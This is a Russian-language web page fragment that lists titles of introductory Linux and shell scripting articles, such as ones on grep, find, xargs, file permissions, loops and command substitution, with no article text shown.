    Подстановка имен файлов

    Проверка на необходимость перезапуска после обновления пакетов

    Стандартные потоки и перенаправление ввода/вывода в Linux

    Функции в языке Shell

    Использование grep в Linux

    Архивирование и сжатие файлов в Linux

    Использование find Linux

    Права пользователей и групп

    Переменные в Linux

    Условная конструкция if в Linux

    Использование grep в Linux

    Использование xargs в Linux

    Фигурные скобки в bash

    Циклы в языке shell

    Использование оператора select в языке shell

    Внутренние и внешние команды linux

    Использование конструкции case в Linux

    Подстановка команд в Linux

    Мониторинг системы Linix с помощью getconf

    Использование ANCI последовательностей в Linux

    Здесь пока нет комментариев
    Добавлять комментарии могут только авторизованные пользователи

    Авторизоваться
    Я буду рекламой
    Я тоже буду рекламой
    И я
    ВВЕРХ